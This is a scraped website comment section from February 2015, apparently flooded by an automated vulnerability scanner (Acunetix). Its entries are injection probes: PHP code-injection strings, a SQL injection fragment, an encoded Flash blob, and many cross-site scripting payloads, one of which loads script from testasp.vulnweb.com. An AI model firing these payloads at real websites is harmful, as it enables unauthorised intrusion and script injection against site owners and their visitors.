';print(md5(acunetix_wvs_security_test));$a='
18 February 2015 12:42 AM
1
";print(md5(acunetix_wvs_security_test));$a="
18 February 2015 12:42 AM
1
${@print(md5(acunetix_wvs_security_test))}
18 February 2015 12:42 AM
1
${@print(md5(acunetix_wvs_security_test))}\
18 February 2015 12:42 AM
1
wyeufbra
18 February 2015 12:42 AM
'"
wyeufbra
18 February 2015 12:42 AM
<!--
qiarryou
18 February 2015 12:42 AM
1
announcements.php
18 February 2015 12:42 AM
1
announcements.php
18 February 2015 12:42 AM
1
xuwgshll
18 February 2015 12:42 AM
1
announcements.php/.
18 February 2015 12:42 AM
1
fckiptqn
18 February 2015 12:42 AM
1
fckiptqn
18 February 2015 12:42 AM
1
xuwgshll
18 February 2015 12:43 AM
1
fckiptqn
18 February 2015 12:43 AM
1
fckiptqn
18 February 2015 12:43 AM
1
wyeufbra
18 February 2015 12:44 AM
1
wyeufbra
18 February 2015 12:44 AM
1
deeanwdo
18 February 2015 12:45 AM
1
deeanwdo
18 February 2015 12:45 AM
1
deeanwdo
18 February 2015 12:45 AM
1
deeanwdo
18 February 2015 12:45 AM
1
deeanwdo
18 February 2015 12:45 AM
1
qiarryou
18 February 2015 12:46 AM
1
qiarryou
18 February 2015 12:46 AM
1
qiarryou
18 February 2015 12:46 AM
1
twwvmwjj
18 February 2015 12:46 AM
1
twwvmwjj
18 February 2015 12:46 AM
1
qiarryou
18 February 2015 12:46 AM
1
twwvmwjj
18 February 2015 12:46 AM
1
twwvmwjj
18 February 2015 12:46 AM
1
twwvmwjj
18 February 2015 12:46 AM
1
'"
18 February 2015 12:46 AM
1
<!--
18 February 2015 12:46 AM
1
www.vulnweb.com
18 February 2015 12:46 AM
1
http://www.vulnweb.com
18 February 2015 12:47 AM
1
//www.vulnweb.com
18 February 2015 12:47 AM
1
/\www.vulnweb.com
18 February 2015 12:47 AM
1
jdhaoksd
18 February 2015 12:47 AM
1
jdhaoksd
18 February 2015 12:47 AM
1
jdhaoksd
18 February 2015 12:47 AM
1
wyeufbra
18 February 2015 12:48 AM
1
wyeufbra
18 February 2015 12:48 AM
1
qiarryou
18 February 2015 12:49 AM
1
jgndpkpn
18 February 2015 12:49 AM
1
qiarryou
18 February 2015 12:49 AM
1
jgndpkpn
18 February 2015 12:49 AM
1'"
qiarryou
18 February 2015 12:49 AM
1
qiarryou
18 February 2015 12:49 AM
1
jgndpkpn
18 February 2015 12:49 AM
\
jgndpkpn
18 February 2015 12:49 AM
@@7MrGK
iuoatyfw
18 February 2015 12:49 AM
1'"()&%<acx><ScRiPt >prompt(968705)</ScRiPt>
jgndpkpn
18 February 2015 12:49 AM
JyI=
iuoatyfw
18 February 2015 12:50 AM
'"()&%<acx><ScRiPt >prompt(933555)</ScRiPt>
iuoatyfw
18 February 2015 12:50 AM
1_996524
iuoatyfw
18 February 2015 12:50 AM
acu4588%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4588
jgndpkpn
18 February 2015 12:50 AM
(select convert(int,CHAR(65)))
iuoatyfw
18 February 2015 12:50 AM
acux2164%C0%BEz1%C0%BCz2a%90bcxuca2164
iuoatyfw
18 February 2015 12:50 AM
acu160%6xuca160AAAAA
wyeufbra
18 February 2015 12:50 AM
1
wyeufbra
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
CWS%07%0e000x%9c%3d%8d1N%c3%40%10E%df%ae%8d%bdI%08)%d3%40%1d%a0%a2%05%09%11%89HiP%22%05D%8bF%8e%0bG%26%1b%d9%8e%117%a0%a2%dc%82%8a%1br%04X;%21S%8c%fe%cc%9b%f9%ff%aa%cb7Jq%af%7f%ed%f2.%f8%01>%9e%18p%c9c%9al%8b%aczG%f2%dc%beM%ec%abdkj%1e%ac%2c%9f%a5(%b1%eb%89T%c2Jj)%93%22%dbT7%24%9c%8fH%cbD6)%a3%0bx)%ac%ad%d8%92%fb%1f%5c%07C%ac%7c%80Q%a7Nc%f4b%e8%fa%98%20b_%26%1c%9f5%20h%f1%d1g%0f%14%c1%0a%5ds%8d%8b0Q%a8L<%9b6%d4L%bd_%a8w%7e%9d%5b%17%f3/%5b%dcm%7b%ef%cb%ef%e6%8d:n-%fb%b3%c3%dd.%e3d1d%ec%c7%3f6%cd0%09
iuoatyfw
18 February 2015 12:50 AM
1<ScRiPt >prompt(972290)</ScRiPt>
iuoatyfw
18 February 2015 12:50 AM
1<script>prompt(987577)</script>
iuoatyfw
18 February 2015 12:50 AM
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%72%6F%6D%70%74%28%39%33%35%34%34%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
iuoatyfw
18 February 2015 12:50 AM
1<ScRiPt
>prompt(908925)</ScRiPt>
iuoatyfw
18 February 2015 12:50 AM
1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?943317></ScRiPt>
iuoatyfw
18 February 2015 12:50 AM
1<ScRiPt
>prompt(957718)</ScRiPt>
fckiptqn
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<video><source onerror="javascript:prompt(992587)">
fckiptqn
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1%3Csvg%20onload%3Dprompt(919674)%3E
fckiptqn
18 February 2015 12:50 AM
1
twwvmwjj
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<div style=width:expression(prompt(906955))>
fckiptqn
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='945583'>
twwvmwjj
18 February 2015 12:50 AM
1
twwvmwjj
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<body onload=prompt(941892)>
twwvmwjj
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(943731)>
twwvmwjj
18 February 2015 12:50 AM
1
iuoatyfw
18 February 2015 12:50 AM
1<img src=xyz OnErRor=prompt(940511)>
Post a new comment
 
 
Full Name:
Email:
Comments:
CAPTCHA Verification 
 
Please enter the text you see in the image into the textbox below (we use this to prevent automated submissions).